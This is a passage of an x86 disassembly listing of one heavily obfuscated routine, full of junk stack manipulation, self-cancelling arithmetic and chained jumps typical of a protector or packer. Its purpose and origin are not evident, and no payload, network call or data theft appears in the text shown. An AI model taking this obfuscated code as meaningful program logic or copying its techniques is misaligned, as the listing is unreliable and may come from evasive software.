[esp-6E56h+arg_6E4C+2], ebp mov ebp, esp push edi mov edi, 4 add ebp, edi pop edi add ebp, 4 xchg ebp, [esp-6E56h+arg_6E4C+2] mov esp, [esp-6E56h+arg_6E4C+2] sub ebx, 4 xor ebx, [esp-6E56h+arg_6E4C+2] xor [esp-6E56h+arg_6E4C+2], ebx xor ebx, [esp-6E56h+arg_6E4C+2] mov esp, [esp-6E56h+arg_6E4C+2] jmp loc_5994B4 ; --------------------------------------------------------------------------- loc_5A4AF4: ; CODE XREF: sub_581EE9+19A80j xor esi, 0E490BD64h mov ebp, esi pop esi jmp loc_59680A ; --------------------------------------------------------------------------- loc_5A4B02: ; CODE XREF: sub_581EE9+19B6Fj add esi, 4 add esi, 4 xchg esi, [esp+0] pop esp push eax mov eax, 4 jmp loc_5A5A82 ; --------------------------------------------------------------------------- loc_5A4B1D: ; CODE XREF: sub_581EE9+22C4Cj or edx, eax shl edx, 1 jmp loc_5A1E2F ; --------------------------------------------------------------------------- loc_5A4B26: ; CODE XREF: sub_581EE9+1B3E5j pop esi push eax mov eax, 4 jmp loc_5930BF ; --------------------------------------------------------------------------- loc_5A4B32: ; CODE XREF: sub_581EE9+17A4Aj and eax, ecx pop ecx jmp loc_5A4B1D ; --------------------------------------------------------------------------- loc_5A4B3A: ; CODE XREF: sub_581EE9+22B96j mov [esp-6E9Ah+arg_6E92], ecx push edx mov edx, 1CCE7E4Eh jmp loc_594873 ; --------------------------------------------------------------------------- loc_5A4B48: ; CODE XREF: sub_581EE9+1B303j pop ecx sub ebx, 4 jmp loc_5A56BE ; --------------------------------------------------------------------------- loc_5A4B51: ; CODE XREF: sub_581EE9+1F25Cj push ax mov al, 15h add bl, al mov ax, word ptr [esp-6E84h+arg_6E7C] add esp, 2 add bl, 3Ah add bl, al sub bl, 3Ah sub bl, 15h push [esp-6E88h+arg_6E80] pop eax push eax mov eax, esp add eax, 4 add eax, 4 push eax push [esp-6E80h+arg_6E7C] pop eax pop [esp-6E80h+arg_6E76+2] mov esp, [esp-6E84h+arg_6E7C] push edx mov dh, 0B0h add dh, 97h sub dh, 8Eh not dh shr dh, 7 xor dh, 0DFh add bl, dh pop edx push ecx jmp loc_59AB82 ; --------------------------------------------------------------------------- loc_5A4BA0: ; CODE XREF: sub_581EE9+24AE2j sub ah, dh jmp loc_59D34F ; --------------------------------------------------------------------------- loc_5A4BA7: ; CODE XREF: sub_581EE9+1A3D2j pop ebp push eax jmp loc_5980D2 ; --------------------------------------------------------------------------- loc_5A4BAE: ; CODE XREF: sub_581EE9+23783j push edi mov edi, 1EAD5F48h mov esi, 0E499899Dh jmp loc_5A212E ; --------------------------------------------------------------------------- loc_5A4BBE: ; CODE XREF: sub_581EE9+1952Cj add esp, 4 shl al, 7 jmp loc_597152 ; --------------------------------------------------------------------------- loc_5A4BC9: ; CODE XREF: sub_581EE9+12427j pop ecx push eax mov ah, dl sub esp, 4 mov [esp-6E7Eh+arg_6E76], edx mov dh, ah mov cl, dh pop edx jmp loc_5A5D5B ; --------------------------------------------------------------------------- loc_5A4BE0: ; CODE XREF: sub_581EE9+20F1Dj pop ecx add ecx, 4 add ecx, 4 xchg ecx, [esp-6EB0h+arg_6EA8] jmp loc_59AEE9 ; --------------------------------------------------------------------------- loc_5A4BF2: ; CODE XREF: sub_581EE9+1650Aj xchg esi, ecx push edi mov edi, 40B857B7h xor ecx, edi pop edi add ecx, 400DCD36h add ebx, ecx mov ecx, [esp-6E7Ah+arg_6E72] jmp loc_5A6DA1 ; --------------------------------------------------------------------------- loc_5A4C0D: ; CODE XREF: sub_581EE9+19EB0j mov edi, 15B163CDh jmp loc_592A16 ; --------------------------------------------------------------------------- loc_5A4C17: ; CODE XREF: sub_581EE9+14DD0j push bx mov bl, 0D6h add al, bl jmp loc_59C71C ; --------------------------------------------------------------------------- loc_5A4C22: ; CODE XREF: sub_581EE9+197A7j pop ecx add eax, 0D9B7EF17h sub ecx, eax mov eax, [esp-6E9Ah+arg_6E92] add esp, 4 shl ecx, 8 jmp loc_5951A7 ; --------------------------------------------------------------------------- loc_5A4C38: ; CODE XREF: sub_581EE9+10810j mov edi, [esp-6EA4h+arg_6E9A+2] add esp, 4 push edx push 31F464BFh push [esp-6EA0h+arg_6E96+2] pop edx add esp, 4 not edx jmp loc_5A0E04 ; --------------------------------------------------------------------------- loc_5A4C58: ; CODE XREF: sub_581EE9+1B1ADj xor ecx, 2A9D3433h xor esi, ecx pop ecx and esi, 1D354F3Eh jmp loc_59AE0C ; --------------------------------------------------------------------------- loc_5A4C6C: ; CODE XREF: sub_581EE9+107C4j mov eax, [esp-6EACh+arg_6EA4] add esp, 4 add esp, 4 sub esp, 4 mov [esp-6EB0h+arg_6EA8], edx jmp loc_599A38 ; --------------------------------------------------------------------------- loc_5A4C83: ; CODE XREF: sub_581EE9+10F08j push edi neg [esp-6E5Eh+arg_6E54+2] pop edi shr edi, 6 xor edi, 376CA33h add esi, edi pop edi sub esi, 4 xchg esi, [esp-6E66h+arg_6E5C+2] pop esp mov [esp-6E6Ah+arg_6E60+2], eax sub esp, 4 jmp loc_597E11 ; --------------------------------------------------------------------------- loc_5A4CA9: ; CODE XREF: sub_581EE9+1DA91j xor ebx, [esp-6E62h+arg_6E58+2] xor [esp-6E62h+arg_6E58+2], ebx xor ebx, [esp-6E62h+arg_6E58+2] pop esp mov [esp-6E66h+arg_6E5C+2], eax mov eax, esp push 83Bh mov [esp-6E62h+arg_6E58+2], edi push ebp mov ebp, 13B04BE4h mov edi, 13B04BE8h sub edi, 61467D91h sub edi, ebp add edi, 61467D91h pop ebp add eax, edi push [esp-6E62h+arg_6E58+2] jmp loc_59C2C5 ; --------------------------------------------------------------------------- loc_5A4CE4: ; CODE XREF: sub_581EE9+14BCCj add [ecx], esi push [esp-6E4Eh+arg_6E44+2] mov ecx, [esp+0] push esi mov esi, esp add esi, 4 add esi, 4 jmp loc_5A4477 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcr word ptr [esp-6E48h+arg_6E3E+2], cl pushf jmp loc_59DB84 ; --------------------------------------------------------------------------- loc_5A4D0D: ; CODE XREF: sub_581EE9+10DB5j and edi, 2A457711h sub edi, 0FFFFFFFFh push edx mov edx, 6B916280h sub edi, edx pop edx jmp loc_5941D4 ; --------------------------------------------------------------------------- loc_5A4D24: ; CODE XREF: sub_581EE9+13693j or ebx, esi jmp loc_59349C ; --------------------------------------------------------------------------- loc_5A4D2B: ; CODE XREF: sub_581EE9+10497j add esp, 4 push ecx mov ecx, 2 jmp loc_59C6DA ; --------------------------------------------------------------------------- loc_5A4D3C: ; CODE XREF: sub_581EE9+12CCAj push ebp push edi push 769C5D2Dh pop edi push esi mov esi, 2BE11AFCh jmp loc_5A5508 ; --------------------------------------------------------------------------- loc_5A4D4F: ; CODE XREF: sub_581EE9+2396Fj sub ecx, 1EEF739Eh mov edx, [esp-6E80h+arg_6E76+2] jmp loc_595203 ; --------------------------------------------------------------------------- loc_5A4D5D: ; CODE XREF: sub_581EE9+16AD5j push esp pop ebp add ebp, 4 jmp loc_5984D6 ; --------------------------------------------------------------------------- loc_5A4D6A: ; CODE XREF: sub_581EE9+230CCj sub esi, 3911221Dh sub esi, 4C304C4Ah jmp loc_59B727 ; --------------------------------------------------------------------------- loc_5A4D7B: ; CODE XREF: sub_581EE9+1486Cj pop ebp sub edx, 4 xchg edx, [esp-6EB6h+arg_6EAC+2] pop esp mov [esp-6EBAh+arg_6EB2], ebx pop eax mov ebx, [esp-6EBEh+arg_6EB6] add esp, 4 push 75E4h mov [esp-6EBEh+arg_6EB6], ebx push ebp jmp loc_5A47F6 ; --------------------------------------------------------------------------- loc_5A4DA1: ; CODE XREF: sub_581EE9+1C65Cj mov edi, 4E3F0130h or edi, 40F46F9Dh shl edi, 6 push esi mov esi, 402410C4h add edi, esi jmp loc_5A317A ; --------------------------------------------------------------------------- loc_5A4DBC: ; CODE XREF: sub_581EE9+1F586j xor eax, [esp-6E84h+arg_6E7C] xor [esp-6E84h+arg_6E7C], eax xor eax, [esp-6E84h+arg_6E7C] mov esp, [esp-6E84h+arg_6E7C] ror byte ptr [esp-6E84h+arg_6E7C], cl pushf jmp loc_591F70 ; --------------------------------------------------------------------------- loc_5A4DD1: ; CODE XREF: sub_581EE9+1277Dj pop ebp add [esp-6E90h+arg_6E8A+2], eax mov eax, [esp+0] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp-6E8Ch+arg_6E84] pop esp push dword ptr [esp+0] pop edx add esp, 4 push edi mov edi, 4 sub edx, 11F50A9Ah jmp loc_59BA9C ; --------------------------------------------------------------------------- loc_5A4E01: ; CODE XREF: sub_581EE9+23D30j sub edx, ebx jmp loc_59FFF9 ; --------------------------------------------------------------------------- loc_5A4E08: ; CODE XREF: sub_581EE9+12174j mov al, 0C3h sub al, 0Ah add al, 0C4h xor al, 0E2h sub al, 33h jmp loc_592261 ; --------------------------------------------------------------------------- loc_5A4E17: ; CODE XREF: sub_581EE9+1B9E3j push ebp jmp loc_59F55E ; --------------------------------------------------------------------------- loc_5A4E1D: ; CODE XREF: sub_581EE9+13DB9j push ebx mov ebx, 4 add ebp, ebx pop ebx jmp loc_5A1E6B ; --------------------------------------------------------------------------- loc_5A4E2B: ; CODE XREF: sub_581EE9+153D6j xchg ebx, ecx not ebx xchg ebx, ecx sub ecx, 0FFFFFFFFh push 236Fh mov dword ptr [esp-6EAAh+arg_6EA2], eax sub esp, 4 jmp loc_59B686 ; --------------------------------------------------------------------------- loc_5A4E47: ; CODE XREF: sub_581EE9+1C1DCj push ecx jmp loc_59604F ; --------------------------------------------------------------------------- loc_5A4E4D: ; CODE XREF: sub_581EE9+1DD17j mov [esp-6EA4h+arg_6E9A+2], edi mov edi, 31DA51CEh inc edi jmp loc_59A28A ; --------------------------------------------------------------------------- loc_5A4E5B: ; CODE XREF: sub_581EE9+220CBj mov [esp-6EA6h+arg_6E9E], ecx jmp loc_5A2214 ; --------------------------------------------------------------------------- loc_5A4E63: ; CODE XREF: sub_581EE9+18298j pop edx push ebx sub esp, 4 mov [esp-6E52h+arg_6E48+2], esp jmp loc_59927E ; --------------------------------------------------------------------------- loc_5A4E70: ; CODE XREF: sub_581EE9+13816j sub ebx, 0E2B5DAC9h mov esi, ebx jmp loc_59B8ED ; --------------------------------------------------------------------------- loc_5A4E7D: ; CODE XREF: sub_581EE9+21448j push ebx mov ebx, 77332894h jmp loc_595C3A ; --------------------------------------------------------------------------- loc_5A4E88: ; CODE XREF: sub_581EE9+11C78j shr ebx, 4 shl ebx, 4 xor ebx, 0D2493402h mov ebp, ebx pop ebx sub ebp, 34D10A9Fh add ebp, ecx add ebp, 34D10A9Fh jmp loc_59B011 ; --------------------------------------------------------------------------- loc_5A4EAA: ; CODE XREF: sub_581EE9+24ED5j sub esp, 4 mov [esp-6E7Eh+arg_6E76], esi push ecx mov ecx, 754F240Fh push ebx mov ebx, 2E1F1A83h and ebx, 5C62789Fh not ebx jmp loc_59A55F ; --------------------------------------------------------------------------- loc_5A4EC9: ; CODE XREF: sub_581EE9+179C6j add esp, 4 add ebx, 4 sub ebx, 4 xchg ebx, [esp-6E66h+arg_6E5C+2] pop esp jmp loc_59A2E4 ; --------------------------------------------------------------------------- loc_5A4EE1: ; CODE XREF: sub_581EE9+128FCj mov [esp-6E5Eh+arg_6E54+2], ebx mov ebx, 54B33F1Fh add ebx, 6AE90EF2h shr ebx, 2 shr ebx, 3 jmp loc_5967D8 ; --------------------------------------------------------------------------- lodsb push 435Eh mov [esp-6E5Ah+arg_6E50+2], ecx push 606Bh jmp loc_5A70F5 ; --------------------------------------------------------------------------- loc_5A4F0D: ; CODE XREF: sub_581EE9+1ED4Bj jmp loc_591F70 ; --------------------------------------------------------------------------- loc_5A4F12: ; CODE XREF: sub_581EE9+105F2j push edi push 74FC530Ah jmp loc_596146 ; --------------------------------------------------------------------------- loc_5A4F1D: ; CODE XREF: sub_581EE9+2155Dj add al, ch jmp loc_597224 ; --------------------------------------------------------------------------- loc_5A4F24: ; CODE XREF: sub_581EE9+23D09j push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp-6E6Eh+arg_6E64+2] pop esp mov [esp-6E72h+arg_6E68+2], ecx mov ecx, 4 add edi, 61B0657Ch jmp loc_592A4B ; --------------------------------------------------------------------------- loc_5A4F4A: ; CODE XREF: sub_581EE9+17468j mov dword ptr [esp-6EAAh+arg_6EA2], eax mov eax, 53F1997h dec eax push ebx mov ebx, 2ECF0246h sub eax, ebx pop ebx jmp loc_596693 ; --------------------------------------------------------------------------- loc_5A4F61: ; CODE XREF: sub_581EE9+17B80j sub ebx, 73BB5815h jmp loc_5A6D79 ; --------------------------------------------------------------------------- loc_5A4F6C: ; CODE XREF: sub_581EE9+11313j inc esi xor esi, 72991C6Bh or ecx, esi jmp loc_5A65B6 ; --------------------------------------------------------------------------- loc_5A4F7A: ; CODE XREF: sub_581EE9+1CCA8j pop edi push ebx push ecx push 51D63493h jmp loc_5A37B6 ; --------------------------------------------------------------------------- mov ax, word ptr [esp-6E66h+arg_6E5C+2] push 300Bh jmp loc_5A4621 ; --------------------------------------------------------------------------- loc_5A4F95: ; CODE XREF: sub_581EE9+10108j mov esi, 0DAC37CEBh sub edi, esi pop esi mov ecx, edi pop edi xor eax, ecx pop ecx shl eax, 2 shl eax, 7 jmp loc_59FF48 ; --------------------------------------------------------------------------- loc_5A4FAE: ; CODE XREF: sub_581EE9+215C1j pop edx add esi, 2B8D5B09h jmp loc_5A4D6A ; --------------------------------------------------------------------------- loc_5A4FBA: ; CODE XREF: sub_581EE9+1631Aj pop ebp push [esp-6E80h+arg_6E76+2] pop edi add esp, 4 jmp loc_592714 ; --------------------------------------------------------------------------- loc_5A4FC7: ; CODE XREF: sub_581EE9+14BF6j pop ebp sub ebp, ecx jmp loc_5A294B ; --------------------------------------------------------------------------- loc_5A4FCF: ; CODE XREF: sub_581EE9+21649j mov esi, [esp-6E94h+arg_6E8A+2] add esp, 4 push edi jmp loc_5991C4 ; --------------------------------------------------------------------------- loc_5A4FDE: ; CODE XREF: sub_581EE9+1E6A9j add esi, ecx pop ecx add esi, eax sub esi, 57AD5CCCh sub esi, 2A58309Bh pop eax add esi, 4 xor esi, [esp-6EA0h+arg_6E96+2] xor [esp-6EA0h+arg_6E96+2], esi xor esi, [esp-6EA0h+arg_6E96+2] mov esp, [esp-6EA0h+arg_6E96+2] push eax mov eax, esp push edi mov edi, 521467DEh xor edi, 75671437h xor edi, 277373EDh push 3FB7h mov [esp-6E94h+arg_6E8A+2], ebx jmp loc_5A090F ; --------------------------------------------------------------------------- loc_5A5021: ; CODE XREF: sub_581EE9+22AE1j push esp pop ecx jmp loc_5A2708 ; --------------------------------------------------------------------------- loc_5A5028: ; CODE XREF: sub_581EE9+1CC7Cj and ecx, 338D09B6h sub ecx, 2026DBB8h sub eax, ecx pop ecx add eax, edi jmp loc_593BC2 ; --------------------------------------------------------------------------- loc_5A503E: ; CODE XREF: sub_581EE9+223C2j push ebp mov ebp, 68A05DA3h sub esi, ebp pop ebp sub esi, 780372E8h push edi jmp loc_5986A2 ; --------------------------------------------------------------------------- neg [esp-6E64h+arg_6E5C] pushf jmp loc_5A1240 ; --------------------------------------------------------------------------- loc_5A505C: ; CODE XREF: sub_581EE9+1F6BFj mov edi, [esp-6E92h+arg_6E8A] add esp, 4 sub ecx, 0FFFFFFFFh push ecx xchg ecx, [esp-6E92h+arg_6E8A] not ecx xchg ecx, [esp-6E92h+arg_6E8A] pop ecx shr ecx, 6 xor ecx, 52284121h add ecx, 0AF99BCE0h sub edx, 2DF95BBCh add edx, ecx add edx, 2DF95BBCh pop ecx push edi mov edi, 1ABF4E65h shr edi, 8 dec edi not edi sub edi, 1 shr edi, 1 push eax mov eax, 74FD1108h add eax, 10D42A18h neg eax add eax, 1E302350h sub eax, 186C47D4h xor edi, eax pop eax add edx, edi pop edi push edx push [esp-6E96h+arg_6E92] mov edx, [esp-6E92h+arg_6E8A] add esp, 4 pop [esp-6E96h+arg_6E8E] mov esp, [esp-6E9Ah+arg_6E92] push 72C0h mov [esp-6E96h+arg_6E8E], edi mov edi, 7A954ED0h add edi, 1F0B2227h jmp loc_59513A ; --------------------------------------------------------------------------- loc_5A50E7: ; CODE XREF: sub_581EE9+24307j pop esp mov [esp-6E9Ah+arg_6E92], ebx push esp mov ebx, [esp-6E96h+arg_6E8E] jmp loc_5A6310 ; --------------------------------------------------------------------------- loc_5A50F4: ; CODE XREF: sub_581EE9+1E230j sub esi, edx pop edx push ebp mov ebp, 59C12DE0h neg ebp push 7D0Eh mov [esp-6EACh+arg_6EA4], ecx push edx sub esp, 4 jmp loc_598D35 ; --------------------------------------------------------------------------- loc_5A5113: ; CODE XREF: sub_581EE9+23B7Dj pop esi add edx, edi add edx, 682403EAh jmp loc_59C0D9 ; --------------------------------------------------------------------------- loc_5A5121: ; CODE XREF: sub_581EE9+1CAD4j push ecx push 0A0Bh mov [esp-6EA8h+arg_6E9E+2], esp add [esp-6EA8h+arg_6E9E+2], 4 pop ecx add ecx, 4 push ebp mov ebp, 20D02B12h sub ebp, 20D02B0Eh add ecx, ebp pop ebp jmp loc_59ABB2 ; --------------------------------------------------------------------------- loc_5A514C: ; CODE XREF: sub_581EE9+172DCj push 1A8D511Ah pop edx neg edx or edx, 45DC106Ah dec edx xor edx, 0D83FCA10h mov edi, edx pop edx sub edx, edi pop edi add edx, 9AE4957h add edx, 0F8C361Ch sub edx, eax sub edx, 0F8C361Ch sub edx, 9AE4957h jmp loc_593812 ; --------------------------------------------------------------------------- loc_5A5186: ; CODE XREF: sub_581EE9+2102Fj mov [esp-6E66h+arg_6E5C+2], eax mov eax, 7A3D7D81h and eax, 53A12423h jmp loc_59C4C1 ; --------------------------------------------------------------------------- loc_5A5198: ; CODE XREF: sub_581EE9+14D2Bj xchg edx, [esp-6E94h+arg_6E8A+2] pop esp mov [esp-6E98h+arg_6E8E+2], ecx mov ch, 3Eh push eax jmp loc_59B4EE ; --------------------------------------------------------------------------- loc_5A51A7: ; CODE XREF: sub_581EE9+1FAFEj push ebp mov ebp, 429F1669h xor ebp, 4AD400A8h inc ebp xor ebp, 77D54A40h add edx, ebp pop ebp add ecx, 8BD79E3h add ecx, edx sub ecx, 8BD79E3h pop edx xchg ecx, [esp-6E68h+arg_6E60] mov esp, [esp-6E68h+arg_6E60] idiv cl movzx cx, ah push 613Eh mov [esp-6E64h+arg_6E5C], esi jmp loc_594C1D ; --------------------------------------------------------------------------- loc_5A51E5: ; CODE XREF: sub_581EE9+182A8j push ebp push ecx mov ecx, 731C1E07h jmp loc_59F32C ; --------------------------------------------------------------------------- loc_5A51F1: ; CODE XREF: sub_581EE9+1B57Cj pop esp movsx ecx, al push edi sub esp, 4 mov [esp-6E4Eh+arg_6E44+2], esp push esi mov esi, 4 add [esp-6E4Ah+arg_6E44+2], esi jmp loc_59572F ; --------------------------------------------------------------------------- loc_5A520E: ; CODE XREF: sub_581EE9+1BD4Cj mov esi, edx pop edx mov ecx, esi jmp loc_59A6AC ; --------------------------------------------------------------------------- loc_5A5218: ; CODE XREF: sub_581EE9+21B55j mov edx, 7C327522h add ebx, edx pop edx add ebx, ebp sub ebx, 7C327522h pop ebp sub ebx, 63673DA9h push [esp-6EA4h+arg_6E9A+2] pop eax add esp, 4 sub ebx, 1F013137h sub ebx, 21D54B8h add ebx, eax add ebx, 21D54B8h add ebx, 1F013137h push esi jmp loc_5969A2 ; --------------------------------------------------------------------------- loc_5A5256: ; CODE XREF: sub_581EE9+21C6Aj push [esp-6E6Ch+arg_6E64] mov edi, [esp-6E68h+arg_6E60] push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_5A6397 ; --------------------------------------------------------------------------- loc_5A526D: ; CODE XREF: sub_581EE9+1B7F4j add esi, eax add esi, 2EC45830h pop eax push eax mov eax, 4 add esi, 7CBA5886h add esi, eax jmp loc_599909 ; --------------------------------------------------------------------------- loc_5A5289: ; CODE XREF: sub_581EE9+20BD1j push eax jmp loc_59A87C ; --------------------------------------------------------------------------- loc_5A528F: ; CODE XREF: sub_581EE9+13191j mov eax, 4 sub ecx, 41A873ABh add ecx, eax push edi mov edi, 43E50151h jmp loc_59FEA9 ; --------------------------------------------------------------------------- loc_5A52A7: ; CODE XREF: sub_581EE9+1D3DBj add ecx, 4 xchg ecx, [esp-6EA0h+arg_6E96+2] pop esp pop eax pop ebx jmp loc_596C43 ; --------------------------------------------------------------------------- loc_5A52B8: ; CODE XREF: sub_581EE9+11278j push edx mov edx, 2 mov ebp, edx pop edx add ecx, 2EC15482h add ecx, 6A146BF9h jmp loc_593744 ; --------------------------------------------------------------------------- loc_5A52D2: ; CODE XREF: sub_581EE9+15E55j pop ebx sub ebp, 0FFFFFFFFh add ebp, 0D460FECAh mov eax, ebp mov ebp, [esp-6EC2h+arg_6EBA] add esp, 4 push eax jmp loc_5A6520 ; --------------------------------------------------------------------------- loc_5A52ED: ; CODE XREF: sub_581EE9+14BB0j sub di, 25B9h mov ax, word ptr [esp-6E46h+arg_6E3E] jmp loc_5933B0 ; --------------------------------------------------------------------------- loc_5A52FB: ; CODE XREF: sub_581EE9+111B1j pop esp push eax push 79753375h pop eax push ecx jmp loc_5970B4 ; --------------------------------------------------------------------------- loc_5A5309: ; CODE XREF: sub_581EE9+1F0FDj pop edx push ebp pop edx jmp loc_593C52 ; --------------------------------------------------------------------------- loc_5A5311: ; CODE XREF: sub_581EE9+1F0B5j push 554Ch mov [esp-6E9Eh+arg_6E96], ebx push esp pop ebx push 49C5h mov [esp-6E9Ah+arg_6E92], ecx jmp loc_5942C1 ; --------------------------------------------------------------------------- loc_5A5328: ; CODE XREF: sub_581EE9+1383Aj mov eax, [esp-6E4Eh+arg_6E44+2] add esp, 4 sub esp, 4 mov [esp-6E4Eh+arg_6E44+2], ebp pop edx pop ebp loc_5A5336: ; CODE XREF: sub_581EE9+13D59j ; sub_581EE9+1A520j push dword ptr [edi+24h] push [esp-6E52h+arg_6E48+2] pop ecx push ebx push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp+0] mov esp, [esp+0] mov [esp+0], esp add dword ptr [esp+0], 4 pop ebx push 1A72h mov [esp+0], ebp push eax jmp loc_5A22DF ; --------------------------------------------------------------------------- loc_5A5369: ; CODE XREF: sub_581EE9+1064Bj push 227h mov [esp-6EA0h+arg_6E96+2], ecx mov ecx, esp jmp loc_596E29 ; --------------------------------------------------------------------------- loc_5A5378: ; CODE XREF: sub_581EE9+1D8DDj jmp loc_591F70 ; --------------------------------------------------------------------------- loc_5A537D: ; CODE XREF: sub_581EE9+23707j mov esi, 6AC13094h jmp loc_59A930 ; --------------------------------------------------------------------------- loc_5A5387: ; CODE XREF: sub_581EE9+15C2Cj pop edi add edx, 4 xchg edx, [esp-6E96h+arg_6E8E] pop esp jmp loc_59F9A5 ; --------------------------------------------------------------------------- loc_5A5394: ; CODE XREF: sub_581EE9+16863j mov edx, esp jmp loc_5A3E7A ; --------------------------------------------------------------------------- loc_5A539B: ; CODE XREF: sub_581EE9+20257j push eax jmp loc_59A000 ; --------------------------------------------------------------------------- loc_5A53A1: ; CODE XREF: sub_581EE9+2445Cj and edi, 294D49E8h neg edi add edi, 9B0A7FA8h mov ebx, edi pop edi sub ebx, 3F871FA8h jmp loc_5A2FBB ; --------------------------------------------------------------------------- loc_5A53BD: ; CODE XREF: sub_581EE9+1077Fj pop edi sub eax, 6DB24B8Ah push [esp-6EBCh+arg_6EB2+2] pop ecx jmp loc_5931E5 ; --------------------------------------------------------------------------- loc_5A53CC: ; CODE XREF: sub_581EE9+1FD2Fj pop ecx sub al, dh jmp loc_594054 ; --------------------------------------------------------------------------- loc_5A53D4: ; CODE XREF: sub_581EE9+12FF6j xchg ecx, [esp-6E7Eh+arg_6E76] pop esp mov dword ptr [esp-6E82h+arg_6E7A], ebp push 2C8Eh push esp pop [esp-6E7Ah+arg_6E72] push esi mov esi, 4 add [esp-6E7Ah+arg_6E76], esi mov esi, [esp-6E7Ah+arg_6E72] add esp, 4 jmp loc_59CF85 ; --------------------------------------------------------------------------- loc_5A53FC: ; CODE XREF: sub_581EE9+219ABj mov [esp-6EBCh+arg_6EB2+2], ecx jmp loc_591F70 ; --------------------------------------------------------------------------- loc_5A5404: ; CODE XREF: sub_581EE9+159D3j add esp, 4 sub esi, 4 xor esi, [esp-6E76h+arg_6E6E] jmp loc_59FC05 ; --------------------------------------------------------------------------- loc_5A5412: ; CODE XREF: sub_581EE9+1DCF1j push [esp-6E80h+arg_6E76+2] mov ecx, [esp-6E7Ch+arg_6E72+2] add esp, 4 add esp, 4 sub esp, 4 mov [esp-6E80h+arg_6E76+2], ebp mov ebp, 0C921B599h add ecx, 7ABB5E32h jmp loc_59BD9E ; --------------------------------------------------------------------------- dw 34FFh dd 24148B24h, 4EC81h, 0C890000h, 4EC8124h, 0E9000000h dd 0FFFF01E0h ; --------------------------------------------------------------------------- loc_5A5454: ; CODE XREF: sub_581EE9+21169j mov [esp-6E80h+arg_6E76+2], esi push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp-6E7Ch+arg_6E72+2] jmp loc_599350 ; --------------------------------------------------------------------------- loc_5A546B: ; CODE XREF: sub_581EE9+25002j push dword ptr [eax] jmp loc_591F70 ; --------------------------------------------------------------------------- loc_5A5472: ; CODE XREF: sub_581EE9+1B80Aj add ebx, 4 push ebx push [esp-6EA2h+arg_6E9E] jmp loc_59B78F ; --------------------------------------------------------------------------- loc_5A5482: ; CODE XREF: sub_581EE9+208ABj or edi, 4700310Dh jmp loc_592608 ; --------------------------------------------------------------------------- loc_5A548D: ; CODE XREF: sub_581EE9+1B2CFj add esp, 4 add al, 5Ch jmp loc_5A09A2 ; --------------------------------------------------------------------------- loc_5A549A: ; CODE XREF: sub_581EE9+1D3ADj add cl, 91h sub cl, 0E8h mov al, cl pop ecx jmp loc_5A063C ; --------------------------------------------------------------------------- loc_5A54A8: ; CODE XREF: sub_581EE9+23D72j xor [esp-6E62h+arg_6E58+2], ebp xor ebp, [esp-6E62h+arg_6E58+2] pop esp push [esp-6E66h+arg_6E5C+2] jmp loc_59587F ; --------------------------------------------------------------------------- loc_5A54B7: ; CODE XREF: sub_581EE9+1A620j mov esp, [esp-6E8Ah+arg_6E80+2] dec [esp-6E8Ah+arg_6E80+2] pushf jmp loc_592C7B ; --------------------------------------------------------------------------- loc_5A54C3: ; CODE XREF: sub_581EE9+187E8j push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp-6EB2h+arg_6EA8+2] pop esp mov [esp-6EB6h+arg_6EAC+2], esi push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp-6EB2h+arg_6EA8+2] jmp loc_592877 ; --------------------------------------------------------------------------- loc_5A54E8: ; CODE XREF: sub_581EE9+1849Aj mov [esp-6E76h+arg_6E6E], esp add [esp-6E76h+arg_6E6E], 4 pop esi sub esp, 4 mov [esp-6E76h+arg_6E6E], ecx jmp loc_59364E ; --------------------------------------------------------------------------- loc_5A54FE: ; CODE XREF: sub_581EE9+22286j mov eax, 1BC40B1Ah jmp loc_5A6533 ; --------------------------------------------------------------------------- loc_5A5508: ; CODE XREF: sub_581EE9+22E61j xor edi, esi mov esi, [esp-6E80h+arg_6E76+2] add esp, 4 inc edi jmp loc_594E27 ; --------------------------------------------------------------------------- loc_5A5516: ; CODE XREF: sub_581EE9+1C27Fj pop bx sub al, 8Dh add bh, 0B5h sub bh, al sub bh, 0B5h push [esp-6E8Eh+arg_6E84+2] pop eax jmp loc_599DC1 ; --------------------------------------------------------------------------- loc_5A552B: ; CODE XREF: sub_581EE9+1D155j sub edi, esi pop esi sub edi, 73D64AC1h sub edi, ebp add edi, 73D64AC1h jmp loc_593328 ; --------------------------------------------------------------------------- loc_5A5541: ; CODE XREF: sub_581EE9+18077j mov ecx, esp add ecx, 4 push esi mov esi, 2C097E3Fh not esi not esi or esi, 500552EBh shr esi, 4 not esi sub esi, 0F83F280Ch add ecx, esi pop esi xchg ecx, [esp-6E42h+arg_6E3A] pop esp push ebp jmp loc_59B0B8 ; --------------------------------------------------------------------------- loc_5A5571: ; CODE XREF: sub_581EE9+11B6Dj mov dword ptr [esp-6E82h+arg_6E7A], eax mov eax, dword ptr [esp-6E82h+arg_6E7A] push esi jmp loc_59FC40 ; --------------------------------------------------------------------------- loc_5A557D: ; CODE XREF: sub_581EE9+21C52j add ebp, 4 jmp loc_599429 ; --------------------------------------------------------------------------- loc_5A5588: ; CODE XREF: sub_581EE9+2422Ej xchg eax, ebx neg eax and eax, 7F757328h jmp loc_59682F ; --------------------------------------------------------------------------- loc_5A5595: ; CODE XREF: sub_581EE9+1E0C2j mov edx, ebp pop ebp sub esp, 4 mov [esp+0], ebp push ebx mov ebx, 136D6CF8h mov ebp, 46116097h xor ebp, ebx pop ebx sub eax, ebp jmp loc_595B0F ; --------------------------------------------------------------------------- loc_5A55B6: ; CODE XREF: sub_581EE9+1FD63j pop esi push ebp push 4 pop ebp add esi, ebp pop ebp push ebp push esp pop ebp add ebp, 4 jmp loc_596AC4 ; --------------------------------------------------------------------------- loc_5A55CF: ; CODE XREF: sub_581EE9+10E2Dj push edi push 10C348E0h pop edi jmp loc_59A472 ; --------------------------------------------------------------------------- loc_5A55DB: ; CODE XREF: sub_581EE9+224E0j mov esi, [esp-6E6Eh+arg_6E64+2] add esp, 4 sub ebx, 6AFF1F61h sub esp, 4 mov [esp-6E6Eh+arg_6E64+2], esi jmp loc_5A537D ; --------------------------------------------------------------------------- loc_5A55F5: ; CODE XREF: sub_581EE9+1CF16j sub cl, bl add cl, 48h pop ebx sub esp, 4 mov 